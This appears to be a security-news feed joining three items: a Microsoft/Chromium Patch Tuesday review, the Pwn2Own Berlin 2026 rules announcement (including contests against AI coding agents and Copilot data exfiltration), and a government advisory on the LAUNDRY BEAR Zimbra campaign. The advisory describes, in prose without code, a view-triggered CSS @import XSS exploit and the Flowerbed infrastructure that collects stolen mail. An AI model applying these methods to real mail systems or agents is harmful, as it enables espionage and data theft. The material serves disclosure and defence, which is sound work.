CVE-2026-5286 * Chromium: CVE-2026-5286 Use after free in Dawn High N/A No No RCE
CVE-2026-5287 * Chromium: CVE-2026-5287 Use after free in PDF High N/A No No RCE
CVE-2026-5289 * Chromium: CVE-2026-5289 Use after free in Navigation High N/A No No RCE
CVE-2026-5290 * Chromium: CVE-2026-5290 Use after free in Compositing High N/A No No RCE
CVE-2026-5860 * Chromium: CVE-2026-5860 Use after free in WebRTC High N/A No No RCE
CVE-2026-5861 * Chromium: CVE-2026-5861 Use after free in V8 High N/A No No RCE
CVE-2026-5862 * Chromium: CVE-2026-5862 Inappropriate implementation in V8 High N/A No No SFB
CVE-2026-5863 * Chromium: CVE-2026-5863 Inappropriate implementation in V8 High N/A No No SFB
CVE-2026-5864 * Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio High N/A No No RCE
CVE-2026-5865 * Chromium: CVE-2026-5865 Type Confusion in V8 High N/A No No RCE
CVE-2026-5866 * Chromium: CVE-2026-5866 Use after free in Media High N/A No No RCE
CVE-2026-5867 * Chromium: CVE-2026-5867 Heap buffer overflow in WebML High N/A No No RCE
CVE-2026-5868 * Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE High N/A No No RCE
CVE-2026-5869 * Chromium: CVE-2026-5869 Heap buffer overflow in WebML High N/A No No RCE
CVE-2026-5870 * Chromium: CVE-2026-5870 Integer overflow in Skia High N/A No No RCE
CVE-2026-5871 * Chromium: CVE-2026-5871 Type Confusion in V8 High N/A No No RCE
CVE-2026-5872 * Chromium: CVE-2026-5872 Use after free in Blink High N/A No No RCE
CVE-2026-5873 * Chromium: CVE-2026-5873 Out of bounds read and write in V8 High N/A No No RCE
CVE-2026-5291 * Chromium: CVE-2026-5291 Inappropriate implementation in WebGL Medium N/A No No SFB
CVE-2026-5292 * Chromium: CVE-2026-5292 Out of bounds read in WebCodecs Medium N/A No No Info
CVE-2026-5874 * Chromium: CVE-2026-5874 Use after free in PrivateAI Medium N/A No No RCE
CVE-2026-5875 * Chromium: CVE-2026-5875 Policy bypass in Blink Medium N/A No No SFB
CVE-2026-5876 * Chromium: CVE-2026-5876 Side-channel information leakage in Navigation Medium N/A No No Info
CVE-2026-5877 * Chromium: CVE-2026-5877 Use after free in Navigation Medium N/A No No RCE
CVE-2026-5878 * Chromium: CVE-2026-5878 Incorrect security UI in Blink Medium N/A No No Spoofing
CVE-2026-5879 * Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE Medium N/A No No SFB
CVE-2026-5880 * Chromium: CVE-2026-5880 Incorrect security UI in browser UI Medium N/A No No Spoofing
CVE-2026-5881 * Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess Medium N/A No No SFB
CVE-2026-5882 * Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen Medium N/A No No Spoofing
CVE-2026-5883 * Chromium: CVE-2026-5883 Use after free in Media Medium N/A No No RCE
CVE-2026-5884 * Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media Medium N/A No No SFB
CVE-2026-5885 * Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML Medium N/A No No SFB
CVE-2026-5886 * Chromium: CVE-2026-5886 Out of bounds read in WebAudio Medium N/A No No Info
CVE-2026-5887 * Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads Medium N/A No No SFB
CVE-2026-5888 * Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs Medium N/A No No RCE
CVE-2026-5889 * Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium Medium N/A No No SFB
CVE-2026-5890 * Chromium: CVE-2026-5890 Race in WebCodecs Medium N/A No No RCE
CVE-2026-5891 * Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI Medium N/A No No SFB
CVE-2026-5892 * Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs Medium N/A No No SFB
CVE-2026-5893 * Chromium: CVE-2026-5893 Race in V8 Medium N/A No No RCE
CVE-2026-5894 * Chromium: CVE-2026-5894 Inappropriate implementation in PDF Low N/A No No SFB
CVE-2026-5895 * Chromium: CVE-2026-5895 Incorrect security UI in Omnibox Low N/A No No Spoofing
CVE-2026-5896 * Chromium: CVE-2026-5896 Policy bypass in Audio Low N/A No No SFB
CVE-2026-5897 * Chromium: CVE-2026-5897 Incorrect security UI in Downloads Low N/A No No Spoofing
CVE-2026-5898 * Chromium: CVE-2026-5898 Incorrect security UI in Omnibox Low N/A No No Spoofing
CVE-2026-5899 * Chromium: CVE-2026-5899 Incorrect security UI in History Navigation Low N/A No No Spoofing
CVE-2026-5900 * Chromium: CVE-2026-5900 Policy bypass in Downloads Low N/A No No SFB
CVE-2026-5901 * Chromium: CVE-2026-5901 Policy bypass in DevTools Low N/A No No SFB
CVE-2026-5902 * Chromium: CVE-2026-5902 Race in Media Low N/A No No RCE
CVE-2026-5903 * Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox Low N/A No No SFB
CVE-2026-5904 * Chromium: CVE-2026-5904 Use after free in V8 Low N/A No No RCE
CVE-2026-5905 * Chromium: CVE-2026-5905 Incorrect security UI in Permissions Low N/A No No Spoofing
CVE-2026-5906 * Chromium: CVE-2026-5906 Incorrect security UI in Omnibox Low N/A No No Spoofing
CVE-2026-5907 * Chromium: CVE-2026-5907 Insufficient data validation in Media Low N/A No No SFB
CVE-2026-5908 * Chromium: CVE-2026-5908 Integer overflow in Media Low N/A No No RCE
CVE-2026-5909 * Chromium: CVE-2026-5909 Integer overflow in Media Low N/A No No RCE
CVE-2026-5910 * Chromium: CVE-2026-5910 Integer overflow in Media Low N/A No No RCE
CVE-2026-5911 * Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers Low N/A No No SFB
CVE-2026-5912 * Chromium: CVE-2026-5912 Integer overflow in WebRTC Low N/A No No RCE
CVE-2026-5913 * Chromium: CVE-2026-5913 Out of bounds read in Blink Low N/A No No Info
CVE-2026-5914 * Chromium: CVE-2026-5914 Type Confusion in CSS Low N/A No No RCE
CVE-2026-5915 * Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML Low N/A No No SFB
CVE-2026-5918 * Chromium: CVE-2026-5918 Inappropriate implementation in Navigation Low N/A No No SFB
CVE-2026-5919 * Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets Low N/A No No SFB
CVE-2026-33118 Microsoft Edge (Chromium-based) Spoofing Vulnerability Low 4.3 No No Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.

Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host.

More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access.

There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.

Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.

The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP notes that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.

There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.

The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering.

No new advisories are being released this month.

Looking Ahead

I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[Announcing Pwn2Own Berlin for 2026]]> https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/ https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/ Sat, 25 Jul 2026 19:00:42 +0200 📰 IT Security Nachrichten tsecurity.de If you just want to read the contest rules, click here.

 

Willkommen zurĂŒck, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of our shipping troubles, we had an amazing time and can’t wait to get back.

Last year, we added Artificial Intelligence as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from AWS wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.

The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:  

-- Virtualization
-- Web Browser
-- Enterprise Applications
-- Servers
-- Local Escalation of Privilege
-- Containers
-- AI Database
-- Coding Agents
-- Local Inference
-- NVIDIA

Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do not go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for Platinum status), a killer trophy, and a pretty snazzy jacket to boot.

Let's look at the details of the rules for this year's event.

Virtualization Category

Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.

There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target and obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:

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Web Browser Category

While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:

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Enterprise Applications Category

Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.

This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just patched a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:

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The Server Category

The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:

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Local Escalation of Privilege Category

This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:

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The Container Category

We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:

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AI Database Category

In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:

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The Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

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The Local Inference Category

We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:

Back to top

The NVIDIA Category

Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:

Back to top

Conclusion

The complete rules for Pwn2Own Berlin 2026 are found here. As always, we highly encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, email us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.

Be sure to stay tuned to this blog and follow us on Twitter, Mastodon, LinkedIn, or Bluesky for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.

With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.

© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

]]> <![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]> https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/ https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/ Sat, 25 Jul 2026 18:59:26 +0200 📰 IT Security Nachrichten tsecurity.de Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Executive summary 

A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].

LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.

Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.

This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

  • United States National Security Agency (NSA)
  • United States Federal Bureau of Investigation (FBI)
  • Netherlands Defence Intelligence and Security Service (MIVD)
  • Netherlands General Intelligence and Security Service (AIVD)
  • United States Cybersecurity and Infrastructure Security Agency (CISA)
  • United States Defense Counterintelligence and Security Agency (DCSA)
  • United States Department of Defense Cyber Crime Center (DC3)
  • United States Department of the Treasury
  • United States Naval Criminal Investigative Service (NCIS)
  • Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
  • Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • United Kingdom National Cyber Security Centre (NCSC-UK)
  • Czech Republic National Cyber and Information Security Agency (NÚKIB)1
  • Danish Defence Intelligence Service (DDIS)2
  • Estonian Foreign Intelligence Service (EFIS)3
  • Finnish Defence Intelligence (FDI)4
  • Finnish Security and Intelligence Service (SUPO)5
  • French General Directorate for Internal Security (DGSI)6
  • French National Cybersecurity Agency (ANSSI)7
  • Italian External Intelligence and Security Agency (AISE)8
  • Italian Internal Intelligence and Security Agency (AISI)9
  • Security and Intelligence Service of the Republic of Moldova (SIS RM)10
  • Polish Foreign Intelligence Agency (AW)11
  • The Military Counterintelligence Service of Poland (SKW)12
  • Spain National Intelligence Centre (CNI)13
  • Sweden National Cyber Security Centre (NCSC-SE)14

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).  

As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.

For a downloadable list of IOCs, see:

Cybersecurity industry tracking

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

  • LAUNDRY BEAR
  • Void Blizzard [2]
  • CL-STA-1114 [3]
  • TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.

Background

Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  

The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].  

Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named â€œĐŁĐ»Đ”Đč” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

  • Last 90 days of emails,
  • Email address,
  • Password [T1589.001],
  • Global Address List (GAL) [T1087],
  • Two-factor authentication (2FA) tokens, and
  • Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.

Targeting details

LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

  • the Defense Industrial Base (DIB),  
  • the federal and local government,
  • education,
  • energy,
  • law enforcement,  
  • media,  
  • non-governmental organizations, and
  • technology.

Technical details

Note: This advisory uses the MITRE ATT&CK¼ Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FENDTM version 1.4.015. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.

Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.

Reconnaissance

LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].  

After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].  

Resource development

The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.

Flowerbed framework

Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

  • Catcher,
  • Certbot,
  • Nginx, and
  • Gardener.

Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.

The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.

Initial access

To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.

Figure 1: Example of malicious email
Figure 1: Example of malicious email

Figure 2: Headers from an example malicious email
Figure 2: Headers from an example malicious email

According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].  

Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.

